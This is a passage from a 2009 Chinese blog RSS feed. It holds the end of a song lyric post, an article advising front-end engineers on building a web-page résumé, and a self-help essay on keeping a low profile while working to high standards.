<p>  真的,如果哭泣，就像是我把你给送走 在离开的那瞬间，你是否还在担心我 </p>
<p>  在什么也不能为你做的，我痛苦心灵面前 </p>
<p>  虽然你说曾离开我，但我从来没有让你走 </p>
<p>  你依然是让我生存下去的力量 </p>
<p>  这种爱、这幸福都觉得是那么容易拥有 <br />
  但这情景、这祝福不应该这么容易让我享受 </p>
<p>  来不及擦掉眼泪，擦掉痛苦的我 </p>
<p>  真的,因为哭泣像是我把你给送走 </p>
<p>  在离开的那瞬间，是否还在为我担心 </p>
<p>  在什么也不能为你做的，我痛苦心灵面前 </p>
<p>  虽然你说会离开我，但我从来没让你走 </p>
<p>  我将用等待来重新开始 </p>
<p>  请你不要忘记我们是多么的相爱，多么的更加相爱 </p>
<p>  一瞬间也不要忘记 </p>
<p>  请在那离去的地方，在回忆中等着我 </p>
<p>  请不要将我遗忘 </p>
<p>因为我是毫无怨言走向你 </p></p>
<h3  class="related_post_title">相关日志 »</h3><ul class="related_post"><li>2009/08/31 -- <a href="http://cssrainbow.cn/articles/resources/671.html" title="Opera的Web标准课程（推荐）">Opera的Web标准课程（推荐）</a> (1)</li><li>2009/08/13 -- <a href="http://cssrainbow.cn/articles/resources/625.html" title="MooTools国外的教程和资源大集合">MooTools国外的教程和资源大集合</a> (0)</li><li>2009/08/12 -- <a href="http://cssrainbow.cn/articles/resources/618.html" title="数据之美（三）">数据之美（三）</a> (0)</li><li>2009/08/08 -- <a href="http://cssrainbow.cn/articles/resources/602.html" title="浏览器 跨域 安全 (收藏)">浏览器 跨域 安全 (收藏)</a> (0)</li><li>2009/08/07 -- <a href="http://cssrainbow.cn/tutorials/mootools/599.html" title="选择mootools的5个原因(转)">选择mootools的5个原因(转)</a> (0)</li><li>2009/08/07 -- <a href="http://cssrainbow.cn/articles/resources/595.html" title="MooTools vs Prototype 核心代码分析-为什么选择MooTools ">MooTools vs Prototype 核心代码分析-为什么选择MooTools </a> (2)</li><li>2009/07/22 -- <a href="http://cssrainbow.cn/articles/resources/523.html" title="如何做好一份前端工程师的简历 (收藏)">如何做好一份前端工程师的简历 (收藏)</a> (0)</li><li>2009/07/10 -- <a href="http://cssrainbow.cn/articles/general/402.html" title="低调做人 高调做事">低调做人 高调做事</a> (0)</li><li>2009/07/10 -- <a href="http://cssrainbow.cn/articles/general/398.html" title="神奇的成功步骤">神奇的成功步骤</a> (0)</li><li>2009/06/20 -- <a href="http://cssrainbow.cn/articles/resources/351.html" title="数据之美（下）">数据之美（下）</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://cssrainbow.cn/articles/general/573.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何做好一份前端工程师的简历 (收藏)</title>
		<link>http://cssrainbow.cn/articles/resources/523.html</link>
		<comments>http://cssrainbow.cn/articles/resources/523.html#comments</comments>
		<pubDate>Wed, 22 Jul 2009 09:03:44 +0000</pubDate>
		<dc:creator>Rainbow</dc:creator>
				<category><![CDATA[Resources]]></category>
		<category><![CDATA[读书]]></category>

		<guid isPermaLink="false">http://cssrainbow.cn/?p=523</guid>
		<description><![CDATA[春节前在蓝色理想上发了个“雅虎口碑招聘前端工程师 ”的启事，节后收到很多简历，加之HR通过专业招聘网站得到的简历和朋友同事推荐的简历，数量上是相当的多，把这些简历一一看完真是一个漫长而幸苦的体力活，何况我还要仔细认真的去提取和核查有用信息评估其能力，尽量不错过任何一个埋藏在大量简历中合适的人，这绝大部分时间并不是一个相当愉悦的过程。所以，我感觉有必要来谈谈：如何做好一份前端工程师的简历。]]></description>
			<content:encoded><![CDATA[<h1 align="center">如何做好一份前端工程师的简历 </h1>
</p>
<p>春节前在蓝色理想上发了个<a href="http://bbs.blueidea.com/thread-2908197-1-2.html" target="_blank">“雅虎口碑招聘前端工程师   ”的启事</a>，节后收到很多简历，加之HR通过专业招聘网站得到的简历和朋友同事推荐的简历，数量上是相当的多，把这些简历一一看完真是一个漫长而幸苦的体力活，何况我还要仔细认真的去提取和核查有用信息评估其能力，尽量不错过任何一个埋藏在大量简历中合适的人，这绝大部分时间并不是一个相当愉悦的过程。所以，我感觉有必要来谈谈：如何做好一份前端工程师的简历。</p>
<h2>一、你是前端工程师</h2>
<p>虽然简历都会有一些常规信息，但职业决定了这份简历核心内容和求职成败。所以，这份简历应该尽可能体现你自己是一个合格的前端工程师。专业的前端工程师是什么可以看看去年Nate   Koechley的演讲<a href="http://nate.koechley.com/blog/2008/06/11/slides-professional-frontend-engineering/" target="_blank">《Professional Frontend Engineering》</a>，前端工程师应该关注的内容可以从<a href="http://www.flickr.com/photos/kejun/3114605967/" target="_blank">克军总结的“前端工程师应该关注什么”的思维导图</a>中窥出一二，学习内容聚合可以看看 <a href="http://www.chencheng.org/blog/2008/10/25/f2e-manual/" target="_blank">陈成总结的《前端开发大众手册(包括工具、网址、经验等)》</a>。</p>
<p><span id="more-523"></span></p>
<p>毫无疑问，前端工程师应该知道如何用简历体现其专业技能和职业精神，这是每个应聘者应该考虑的问题。</p>
<h2>二、内容为王</h2>
<h3> <strong>个人信息</strong></h3>
<ol>
<li>姓名 （必需） </li>
<li>性别 （必需） </li>
<li>年龄 （必需） </li>
<li>联系电话 （必需） </li>
<li>学历及学位 （必需） </li>
<li>薪资期望 </li>
<li>个人照片 </li>
<li>邮箱 </li>
<li>Blog </li>
<li>外语能力 </li>
</ol>
<h3><strong>职业技能</strong></h3>
<ol>
<li>HTML、CSS、JavaScript/ActionScript等 </li>
<li>Web标准、可用性、可访问性 </li>
<li>一门非前端脚本的语言(Java、PHP、Python、C#等) </li>
<li>任何有利于前端开发的技能和兴趣 </li>
</ol>
<h3><strong>职业和教育经历</strong></h3>
<ol>
<li>起始时间、单位名、职位（学位）和收获 </li>
<li>简而精 </li>
<li>按照时间倒序排列 </li>
</ol>
<h3><strong>代表作品</strong></h3>
<ol>
<li>能体现自己现在前端技能或者重要经历的作品 </li>
<li>简而精，且可以简要附上自己在这个作品中的收获 </li>
<li>和别人合作的作品要注明自己具体完成的内容 </li>
<li>在线链接要测试以保证可用，如果有其他人的变更应注明，较大变更就无需提交了 </li>
<li>提供附件要注明与之对应的文件名 </li>
<li>按完成时间倒序排列 </li>
</ol>
<p>依据实际情况，代表作品也完全可以直接融入到职业技能和经历中体现。当然内容不仅仅是这些，可以任意增加能体现前端工程师职业素质的信息。</p>
<h2>三、Web是平台</h2>
<p>毫无疑问，Web才是真正的平台，当这个平台的后端逐步被云所统治时（Amazon的很多服务和Google App   Engine都初见端倪），那么云端的用户代理（比如浏览器）就是前端工程师的战场。前端工程师是可以长期从事且有前途的职业。</p>
<p>简历作为前端工程师迈向新征途而提交的第一份作品，应该毫不迟疑的用它来体现其专业技能和职业精神，所以Web页面是前端工程师简历的最好载体。它能体现前端工程师诸多专业素质：</p>
<h3>知道为什么选择的DTD是下面中的一个而不是其他，这是对 <a href="http://www.w3.org/html/" target="_blank">HTML标准</a> 的理解和思考 。</h3>
<ol>
<li>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML   4.01//EN&quot; &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&gt; </li>
<li>&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0   Strict//EN&quot;   &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt; </li>
<li>&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML   1.1//EN&quot; &quot;http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd&quot;&gt; </li>
<li>&lt;!DOCTYPE HTML&gt; </li>
</ol>
<p>针对内容选择合适的HTML标签，合理的id和class命名，尝试使用<a href="http://microformats.org/" target="_blank">微格式</a>，这是对语义化的理解和思考。 </p>
<p>至少兼容<a href="http://developer.yahoo.com/yui/articles/gbs/" target="_blank">YUI中列出的A-grade浏览器</a>，这是对跨浏览器和CSS Hacks的理解和思考 。 </p>
<p>虽然Web性能在大访问量下才比较容易凸显，但把尝试把<a href="http://developer.yahoo.com/performance/rules.html" target="_blank">YAHOO性能团队的34条最佳实践</a>应用上，一定会小中见大且受益终生的 。 </p>
<h3> JavaScript的应用</h3>
<ol>
<li>简历的信息结构一般很简单，但是这并不意味着无法使用JavaScript来增强它的交互。找出其JavaScript技能和简历相互结合的地方。 </li>
<li>可以尝试使用某种框架（<a href="http://developer.yahoo.com/yui">YUI</a>、<a href="http://www.jquery.com/">jQuery</a>、<a href="http://www.prototypejs.org/">Prototype</a>、<a href="http://mootools.net/">Mootools</a>等），很明显框架能提高我们的开发速度，掌握至少1中优秀的框架能增强我们的价值。 </li>
<li>可以利用JavaScript做出几个彩蛋在简历里面么？ </li>
<li>实现结构、样式和行为的分离。 </li>
<li>理解和体现<a href="http://www.webstandards.org/action/dstf/" target="_blank">DOM   Scripting</a>、<a href="http://en.wikipedia.org/wiki/Graceful_degradation" target="_blank">预留退路（Graceful Degradation）</a>、<a href="http://en.wikipedia.org/wiki/Progressive_Enhancement" target="_blank">渐进增强（Progressive Enhancement ）</a>、<a href="http://en.wikipedia.org/wiki/Unobtrusive_" target="_blank">无侵入的JavaScript（Unobtrusive Javascript）</a>等思想。 <a href="http://ued.taobao.com/blog/2008/10/09/understanding-progressiveen-hancement-chs-translation/" target="_blank">空帷翻译的《理解“渐进增强(Progressive Enhancement)》</a>是篇这方面的好文章。 </li>
</ol>
<ol>
<li><a href="http://www.w3.org/WAI/" target="_blank">可访问性</a>，在这上面每一步的深入研究和应用都值得赞赏。 </li>
<li><a href="http://dev.w3.org/html5/spec/Overview.html" target="_blank">HTML5</a>、<a href="http://www.w3.org/Style/CSS/current-work" target="_blank">CSS3</a>、<a href="http://www.w3.org/Graphics/SVG/" target="_blank">SVG</a>、<a href="http://www.whatwg.org/specs/web-apps/current-work/#the-canvas-element" target="_blank">Canvas</a>甚至离线技术、安全技术都可以和我们的简历结合起来。列表<a href="http://a.deveria.com/caniuse/#agents=All&amp;cats=All&amp;eras=All&amp;statuses=All" target="_blank">When can I use…</a>提供了一些新技术在主流浏览器的支持情况。 </li>
<li>打印样式，很明显前端简历不仅仅是其主管看，还有HR和大老板看，所以准备打印样式是很重要的，这不仅仅是技能问题，更是一种前端开发的素质。你需要知道，打印样式应该是黑字白底，且尽量少的装饰图片，因为现在的绝大部分办公打印机还是黑白的，且黑色更费墨，所以当你的简历是黑色背景时更应该注意这点。 </li>
<li>简单设计，千万不要把你的简历搞一团糟，设计虽然不是前端工程师最重要的技能，但是良好的视觉设计更能体现前端工程师的价值，所以审美其实也是前端工程师的基础素质。如果对视觉设计感到困惑，你可以从看<a href="http://dancewithnet.com/2009/01/20/the-non-designer-design-book/">《推荐给大家看的设计书》</a>开始。 </li>
</ol>
<h2>四、细节决定体验</h2>
<ol>
<li>标识性的文件名，比如“秦歌的简历”、“秦歌的作品”，而不是“个人简历”、“我的作品”。 </li>
<li>发完信后记得检查一下发件箱，确保没有忘记发附件。 </li>
<li>简历和众多作品整体打一个包。不要一个大包里面无数个小包。且整个包应该整理过，去掉垃圾，不应该太大。 </li>
<li>不要重复发邮件，特别是拒绝以后，还发一个同样的邮件，除非一段时间后你有较大进步。 </li>
<li>检查链接有效性，无效链接很伤感情的，可以使用Firefox的插件 <a href="https://addons.mozilla.org/en-US/firefox/addon/532">LinkChecker</a>或 <a href="https://addons.mozilla.org/en-US/firefox/addon/10201" target="_blank">Pinger</a>。 </li>
</ol>
<p>实际上，前端工程师的工作成果是直接面向千万用户的，他直接决定了最终的用户体验，所以每个细节都至关重要，就像JavaScript编程一样，只要我们掌握 <a href="http://dancewithnet.com/2008/01/26/the-elements-of-%20-style-part-one/" target="_blank">良好的风格要素</a>，我们就能避免很多错误，实际上这个思想贯穿整个前端开发的始终，包括制作简历。</p>
<p>我很喜欢有个人blog的应聘者，因为通过其blog不仅仅可以看出他的前端技能、工作积累、职业素质和分享精神，同时他通过维护blog可以贯穿一个简单开发的始终，从内容、交互、视觉、前端一直到后端维护，而这些角色都是前端在开发过程中的上下游，需要经常协作，这种经历能使前端更高效的沟通和更务实的换位思考。同样，当我推荐前端的简历应该是以Web页面为载体时，也是基于这个想法，并适当的给出一些相关知识以备有兴趣的朋友朝这个方向走下去。虽然我的建议偏向于“HTML+CSS+JavaScript”方向的前端工程师，但实战中肯定有更多能够在简历中体现前端的技能和创意，这本身就是抛砖引玉，这仅仅是一个开始。</p>
<p>简历很重要，但人品、职业精神和专业的前端技能更重要，最重要的是这两者是相辅相成的。虽然很羡慕兄弟团队 <a href="http://ued.taobao.com/job/season2/">淘宝UED</a> 、<a href="http://ued.alipay.com/job/">支付宝UED</a> 和 <a href="http://job2009.aliued.com/">阿里巴巴B2B国际站UED</a>能有创意、时间和精力搞出那么精致的招聘站点，但我更希望我未来的同事用技能、创意、时间和精力整出一个巨牛的前端工程师简历来震住我（<a href="mailto:kaven.yan@yahoo.com" target="_blank">kaven.yan@yahoo.com</a>）吧。</p>
<p>作者：<a href="http://www.blueidea.com/common/contact.asp?type=作者&amp;username=YanKaven" target="_blank">YanKaven</a> 来自：<a href="http://ued.koubei.com/">口碑网UED Team</a></p>
<h3  class="related_post_title">相关日志 »</h3><ul class="related_post"><li>2009/08/31 -- <a href="http://cssrainbow.cn/articles/resources/671.html" title="Opera的Web标准课程（推荐）">Opera的Web标准课程（推荐）</a> (1)</li><li>2009/08/13 -- <a href="http://cssrainbow.cn/articles/resources/625.html" title="MooTools国外的教程和资源大集合">MooTools国外的教程和资源大集合</a> (0)</li><li>2009/08/12 -- <a href="http://cssrainbow.cn/articles/resources/618.html" title="数据之美（三）">数据之美（三）</a> (0)</li><li>2009/08/08 -- <a href="http://cssrainbow.cn/articles/resources/602.html" title="浏览器 跨域 安全 (收藏)">浏览器 跨域 安全 (收藏)</a> (0)</li><li>2009/08/07 -- <a href="http://cssrainbow.cn/tutorials/mootools/599.html" title="选择mootools的5个原因(转)">选择mootools的5个原因(转)</a> (0)</li><li>2009/08/07 -- <a href="http://cssrainbow.cn/articles/resources/595.html" title="MooTools vs Prototype 核心代码分析-为什么选择MooTools ">MooTools vs Prototype 核心代码分析-为什么选择MooTools </a> (2)</li><li>2009/08/01 -- <a href="http://cssrainbow.cn/articles/general/573.html" title="菊花香">菊花香</a> (0)</li><li>2009/07/10 -- <a href="http://cssrainbow.cn/articles/general/402.html" title="低调做人 高调做事">低调做人 高调做事</a> (0)</li><li>2009/07/10 -- <a href="http://cssrainbow.cn/articles/general/398.html" title="神奇的成功步骤">神奇的成功步骤</a> (0)</li><li>2009/06/20 -- <a href="http://cssrainbow.cn/articles/resources/351.html" title="数据之美（下）">数据之美（下）</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://cssrainbow.cn/articles/resources/523.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>低调做人 高调做事</title>
		<link>http://cssrainbow.cn/articles/general/402.html</link>
		<comments>http://cssrainbow.cn/articles/general/402.html#comments</comments>
		<pubDate>Fri, 10 Jul 2009 02:19:20 +0000</pubDate>
		<dc:creator>Rainbow</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[读书]]></category>

		<guid isPermaLink="false">http://cssrainbow.cn/?p=402</guid>
		<description><![CDATA[一、在姿态上要低调 

在低调中修炼自己：低调做人无论在官场、商场还是政治军事斗争中都是一种进可攻、退可守，看似平淡，实则高深的处世谋略。

谦卑处世人常在：谦卑是一种智慧，是为人处世的黄金法则，懂得谦卑的人，必将得到人们的尊重，受到世人的敬仰。 

大智若愚，实乃养晦之术：“大智若愚”，重在一个“若”字，“若”设计了巨大的假象与骗局，掩饰了真实的野心、权欲、才华、声望、感情。这种甘为愚钝、甘当弱者的低调做人术，实际上是精于算计的隐蔽，它鼓励人们不求争先、不露真相，让自己明明白白过一生。 ]]></description>
			<content:encoded><![CDATA[<h1 align="center">低调做人 高调做事</h1>
<p>&nbsp;</p>
<h2>一、在姿态上要低调 </h2>
<p><strong>在低调中修炼自己：</strong>低调做人无论在官场、商场还是政治军事斗争中都是一种进可攻、退可守，看似平淡，实则高深的处世谋略。</p>
<p> 谦卑处世人常在：谦卑是一种智慧，是为人处世的黄金法则，懂得谦卑的人，必将得到人们的尊重，受到世人的敬仰。 </p>
<p><strong>大智若愚，实乃养晦之术：</strong>“大智若愚”，重在一个“若”字，“若”设计了巨大的假象与骗局，掩饰了真实的野心、权欲、才华、声望、感情。这种甘为愚钝、甘当弱者的低调做人术，实际上是精于算计的隐蔽，它鼓励人们不求争先、不露真相，让自己明明白白过一生。 </p>
<p><span id="more-402"></span></p>
<p> <strong>平和待人留余地：</strong>“道有道法，行有行规”，做人也不例外，用平和的心态去对待人事事，也是符合客观要求的，因为低调做人才是跨进成功之门的钥匙。 </p>
<p> <strong>时机未成熟时，要挺住：</strong>人非圣贤，谁都无法甩掉七情六欲，离不开柴米油盐，即使遁入空门，“跳出三界外，不在五行中”，也要“出家人以宽大为怀，善哉！善哉！”不离口。所以，要成就大业，就得分清轻重缓急，大小远近，该舍的就得忍痛割爱，该忍的就得 从长计议，从而实现理想，成就大事，创建大业。 </p>
<p> <strong>毛羽不丰时，要懂得让步：</strong>低调做人，往往是赢取对手的资助、最后不断走向强盛、伸展势力再反过来使对手屈服的一条有用的妙计。</p>
<p> <strong>在“愚”中等待时机：</strong>大智若愚，不仅可以将有为示无为，聪明装糊涂，而且可以若无其事，装着不置可否的样子，不表明态度，然后静待时机，把自己的过人之处一下子说出来，打对手一个措手不及。但是，大智若愚，关键是心中要有对付对方的策略。常用“糊涂”来迷惑对方耳目，宁可有为而示无为，万不可无为示有为，本来糊涂反装聪明，这样就会弄巧成拙。</p>
<p> <strong>主动吃亏是风度：</strong>任何时候，情分不能践踏。主动吃亏，山不转水转，也许以后还有合作的机会，又走到一起。若一个人处处不肯吃亏，则处处必想占便宜，于是，妄想日生，骄心日盛。而一个人一旦有了骄狂的态势，难免会侵害别人的利益，于是便起纷争，在四面楚歌之中，又焉有不败之理？ </p>
<p> <strong>为对手叫好是一种智慧：</strong>美德、智慧、修养，是我们处世的资本。为对手叫好，是一种谋略，能做到放低姿态为对手叫好的人，那他在做人做事上必定会成功。<br />
    以宽容之心度他人之过：退一步海阔天空,忍一时风平浪静。对于别人的过失，必要的指责无可厚非，但能以博大的胸怀去宽容别人，就会让世界变得更精彩。 </p>
<h2>二、在心态上要低调 </h2>
<p><strong>功成名就更要保持平常心：</strong>高调做事是一种责任，一种气魄，一种精益求精的风格，一种执著追求的精神。所做的哪怕是细小的事、单调的事，也要代表自己的最高水平，体现自己的最好风格，并在做事中提高素质与能力。   </p>
<p> <strong>做人不要恃才傲物：</strong>当你取得成绩时，你要感谢他人、与人分享、为人谦卑，这正好让他人吃下了一颗定心丸。如果你习惯了恃才傲物，看不起别人，那么总有一天你会独吞苦果！请记住：恃才傲物是做人一大忌。 </p>
<p> <strong>容人之过，方显大家本色：</strong>大度睿智的低调做人，有时比横眉冷对的高高在上更有助于问题的解决。对他人的小过以大度相待，实际上也是一种低调做人的态度，这种态度会使人没齿难忘，终生感激。 </p>
<p> <strong>做人要圆融通达，不要锋芒毕露：</strong>功成名就需要一种谦逊的态度，自觉地在名利场中做看客，开拓广阔心境。 </p>
<p> <strong>知足者常乐：</strong>生活中如能降低一些标准，退一步想一想，就能知足常乐。人应该体会到自己本来就是无所欠缺的，这就是最大的财富了。 </p>
<p> <strong>不要太把自己当回事：</strong>不要把自己太当回事，才不会产生自满心理，才能不断地充实、完善自己，缔造完善人生。 </p>
<p> <strong>谦逊是终生受益的美德：</strong>一个懂得谦逊的人是一个真正懂得积蓄力量的人，谦逊能够避免给别人造成太张扬的印象，这样的印象恰好能够使一个员工在生活、工作中不断积累经验与能力，最后达到成功。 </p>
<p> <strong>淡泊名利无私奉献：</strong>性格豪放者心胸必然豁达，壮志无边者思想必然激越，思想激越者必然容易触怒世俗和所谓的权威。所以，社会要求成大事者能够隐忍不发，高调做事，低调做人。 </p>
<p> <strong>对待下属要宽容：</strong>作为上司，应该具有容人之量，既然把任务交代给了下属，就要充分想念下属，让其有施展才能的机会，只有这样，才能人尽其才。 </p>
<p> <strong>简朴是低调做人的根本：</strong>在生活上简朴些、低调些，不仅有助于自身的品德修炼，而且也能赢得上下的交口称誉。 </p>
<h2>三、在行为上要低调 </h2>
<p><strong>深藏不露，是智谋：</strong>过分的张扬自己，就会经受更多的风吹雨打，暴露在外的椽子自然要先腐烂。一个人在社会上，如果不合时宜地过分张扬、卖弄，那么不管多么优秀，都难免会遭到明枪暗箭的打击和攻击。 </p>
<p> <strong>出头的椽子易烂：</strong>时常有人稍有名气就到处洋洋得意地自夸，喜欢被别人奉承，这些人迟早会吃亏的。所以在处于被动境地时一定要学会藏锋敛迹、装憨卖乖，千万不要把自己变成对方射击的靶子。 </p>
<p> <strong>才大不可气粗，居功不可自傲：</strong>不可一世的年羹尧，因为在做人上的无知而落得个可悲的下场，所以，才大而不气粗，居功而不自傲，才是做人的根本。 </p>
<p>
    <strong>盛名之下，其实难副：</strong>在积极求取巅峰期的时候，不妨思及颜之推倡导的人生态度，试图明了知足常乐的情趣，捕捉中庸之道的精义，稍稍使生活步调快慢均衡，才不易陷入过度偏激的生活陷阱之中。 </p>
<p><strong> 做人不能太精明：</strong>低调做人，不耍小聪明，让自己始终处于冷静的状态，在“低调”的心态支配下，兢兢业业，才能做成大事业。 </p>
<p> <strong>乐不可极，乐极生悲：</strong>在生活悲欢离合、喜怒哀乐的起承转合过程中，人应随时随地、恰如其分地选择适合自己的位置，起点不要太高。正如孟子所说的：“可以仕则仕，可以止则止，可以久则久，可以速则速。” </p>
<p> <strong>做人要懂得谦逊：</strong>谦逊能够克服骄矜之态，能够营造良好的人际关系，因为人们所尊敬的是那些谦逊的人，而决不会是那些爱慕虚荣和自夸的人。 </p>
<p> <strong>规避风头，才能走好人生路：</strong>老子认为“兵强则灭，木强则折”、“强梁者不得其死”。老子这种与世无争的谋略思想，深刻体现了事物的内在运动规律，已为无数事实所证明，成为广泛流传的哲理名言。 </p>
<p> <strong>低调做人，便可峰回路转：</strong>在待人处世中要低调，当自己处于不利地位，或者危险之时，不妨先退让一步，这样做，不但能避其锋芒，脱离困境，而且还可以另辟蹊径，重新占据主动。 </p>
<p> <strong>要想先做事，必须先做人：</strong>要想先做事，必须先做人。做好了人，才能做事。做人要低调谦虚，做事要高调有信心，事情做好了，低调做人水平就又上了一个台阶。 </p>
<p> <strong>功成身退，天之道：</strong>懂得功成身退的人，是识时务的，他知道何时保全自己，何时成就别人，以儒雅之风度来笑对人生。 </p>
<h2>四、在言辞上要低调 </h2>
<p>
<strong>不要揭人伤疤：</strong>不能拿朋友的缺点开玩笑。不要以为你很熟悉对方，就随意取笑对方的缺点，揭人伤疤。那样就会伤及对方的人格、尊严，违背开玩笑的初衷。</p>
<p><strong>放低说话的姿态：</strong>面对别人的赞许恭贺，应谦和有礼、虚心，这样才能显示出自己的君子风度，淡化别人对你的嫉妒心理，维持和谐良好的人际关系。  </p>
<p> <strong>说话时不可伤害他人自尊：</strong>讲话要有分寸，不要伤害他人。礼让不是人际关系上的怯懦，而是把无谓的攻击降到零。</p>
<p><strong> 得意而不要忘形：</strong>得意时要少说话，而且态度要更加谦卑，这样才会赢得朋友们的尊敬。 </p>
<p> <strong>祸从口出，没必要自惹麻烦：</strong>要想在办公室中保持心情舒畅的工作，并与领导关系融洽，那就多注意你的言行。对于姿态上低调、工作上踏实的人，上司们更愿意起用他们。如果你幸运的话，还很可能被上司意外地委以重任。 </p>
<p> <strong>莫逞一时口头之快：</strong>凡事三思而行，说话也不例外，在开口说话之前也要思考，确定不会伤害他人再说出口，才能起到一言九鼎的作用，你也才能受到别人的尊重和认可。       </p>
<p> <strong>口出狂言者祸必至：</strong>是不是因为物欲文明的催生所致，如今社会上各类职业当中都有动辄口出狂言的人。 </p>
<p> <strong>耻笑讥讽来不得：</strong>言为心声，语言受思想的支配，反应一个人的品德。不负责任，胡说八道，造谣中伤，搬弄是非等等，都是不道德的。 </p>
<p> <strong>不要总是报怨原单位：</strong>跳槽属于人才流动，是当今社会很正常的一种现象，并不为奇，而且跳槽者屡屡能在新的团队里找到适合自己的位置，创造更佳的业绩。如果这一步还没有达到，你就急忙地大耍“嘴功”，以贬低老团队的手段来抬高自己在新团队的人缘和地位的话，那你就大错特错了！ </p>
<p> <strong>说话不可太露骨：</strong>别以为如实相告，别人就会感激涕零。要知道，我们永远不能率性而为、无所顾忌，话语出口前，考虑一下别人的感受，是一种成熟的人处世方法。 </p>
<p> <strong>沉默是金：</strong>沉默，并不是让大家永不说话，该说的时候还是要说的。就像佛祖那样境界的人，也还是会与人说话，传授佛法，适度的语言本身也是一种沉默。 </p>
<h2>五、在思想上要高调 </h2>
<p> <strong> 给自己一个希望：</strong>不论你遇到了多揪心的挫折，都应当以坚持不懈的信心和毅力，感动自己，感动他人，把自己锤炼成一个做大事的人。 </p>
<p> <strong>保持向上的激情：</strong>我们需要激情，需要开拓，让我们从现在做起，兢兢业业，开拓创新，扎扎实实做好本职工作，在平凡的工作中燃烧激情。 </p>
<p> <strong>自信是高调做事的秘诀：</strong>信心对于做事成功者具有重要意义，成功的欲望是创造和拥有财富的源泉。人一旦有了这种欲望，并经由自我暗示和潜意识的激发后形成一种自信心，这种信心就会转化成一种“积极的感情”，它能帮助人们释放出无穷的热情、智慧和精力，进而帮助人们获得财富与事业上的巨大成就。 </p>
<p><strong> 别让借口“吃掉”你的希望：</strong>无论什么时候，我们都不要为自己寻找借口，只有尽职尽责，勇往直前，不找借口，才能实现理想，创造辉煌人生。 </p>
<p> <strong>丑小鸭也能变成白天鹅：</strong>一个人有希望，再加上坚忍不拔的决心，就会产生创造的能力；一个人有希望，再加上持之以恒的努力，就会达到目的。</p>
<p><strong> 点燃希望之火：</strong>一颗充满希望的心灵，具有极大的创造力，这种创造力会激发人的潜能，实现人的理想。 </p>
<p> <strong>成功需要付出代价：</strong>从古到今，凡成事者，成大事者，莫不受尽磨难，在磨难中完成自我教育，如此也水到渠成地成就了事业。 </p>
<p> <strong>主动去做应该做的事：</strong>只有气服懒惰，积极进取的人，才能不断成功，不断取得好成绩。 </p>
<p> <strong>不要轻言放弃，坚持就能成功：</strong>抱定任何都不放弃的信念，即使在一片懊悔或叹息、宽容或指责的氛围中也要坚持。是的，任何时候都不要放弃，无论条件多么的困难，只要能坚持到底，成功就一定属于你。</p>
<p><strong> 学会自己鼓励自己：</strong>能自己鼓励自己的人就算不是一个成功者，但绝对不会是一个失败者，你还是趁早练练这“功夫”吧！</p>
<p> <strong>永远保持好心情：</strong>突破困境的方法，首先在于要肃清胸中快乐和成功的仇敌，其次要集中思想，坚定意识。只有运用正确的思想，并抱定坚定的精神，才能从逆境中突围。 </p>
<p> <strong>激发自己的潜能：</strong>倘若你和一般失败者面谈，你就会发现：他们之所以失败，是因为他们从来不曾走进足以激发人、鼓励人的环境中，是因为他们的潜能从来不曾被激发，是因为他们没有力量从不良的环境中振作。 </p>
<p> <strong>不要畏惧贫穷和困苦：</strong>行走于人生丛林中的每个人都应该记住，如果你正在遭受困苦，这并不是完全是件坏事，“天将大任于斯人也，必先苦其心志，劳其筋骨，饿其体肤，空乏其身，行拂乱其所为”。因为老天要把重任交给你，必先磨炼和考验你！ </p>
<p> <strong>发掘出自身的强项：</strong>当巨大的压力、非常的变故和重大责任压在一个人身上时，隐伏在他生命最深处的种种能力，才会突然涌现出来，使他成就大业。 </p>
<p> <strong>坚定生活的信念：</strong>困境可以检验一个人的品质。如果一个人敢于直面困境，积极主动寻求解决问题的办法，能在任何不利的环境中始终充满热情，坚定对生活的信念，那么他迟早会成功。  </p>
<p> <strong>把挫折当成垫脚石：</strong>在生活中，有的人被挫折打倒，有的人却把挫折当成垫脚石，不断前进。只要我们正视坎坷，永不放弃自己的追求，生活的艰辛将被我们踩在脚下，生命将会永放光芒！ </p>
<p> <strong>对生活充满热情：</strong>有了热情，就能把额外的工作视作机遇，就能把陌生人变成朋友，就能真诚地宽容别人。有了热情，就能充分利用余暇时间来完成自己的兴趣爱好。有了热情，就会抛弃怨恨，变得心胸宽广。有了热情，就会战胜困难，取得成功。 </p>
<h2>  六、在细节上要高调 </h2>
<p><strong>注重细节，从小事做起：</strong>看不到细节，或者不把细节当回事的人，对工作缺乏认真的态度，对事情只能是敷衍了事。而注重细节的人，不仅认真地对待工作，将小事做细，并且能在做细的过程中找到机会，从而使自己走上成功之路。 </p>
<p>  <strong>工作中没有小事：</strong>点石成金，滴水成河，只有认真对待自己所做的一切事情，才能克服万难，取得成功。 </p>
<p>    <strong>认真对待每一次训练：</strong>那些在平时训练和准备过程中认真对待的人则相反，由于一直接受了高强度的模拟训练，他们更容易在关键的比赛中表现出镇定的心态，因为在他们心目中，这无异于平时的一场简单的比赛和训练。 </p>
<p>
      <strong>   悄悄地为他人做点好事:</strong>试着去真心真意地帮助别人，当这一切完全发自你的意愿时，你将会感觉到这是件多么快乐的事，你的心灵就会得到回报—一种和平、安静、温暖的感觉。
         </p>
<p>       <strong>敬业精神+脚踏实地=成功：</strong>敬业，不仅仅是事业成功的保障，更是实现人生价值的手段，有的人在生活中，总是不满意目前的职业，希望改变自己的处境。但世界上绝对没有不劳而获的事情，人们的成功无一不是按部就班、脚踏实地努力的结果。 </p>
<p><strong>相信自己，正视开端：</strong>任何大的成功，都是从小事一点一滴累积而来的。没有做不到的事，只有不肯做的人。想想你曾经历过的失败，当时的你真的用尽全力试过各种办法了吗？困难不会是成功的障碍，只有你自己才可能是一个最大的绊脚石。 </p>
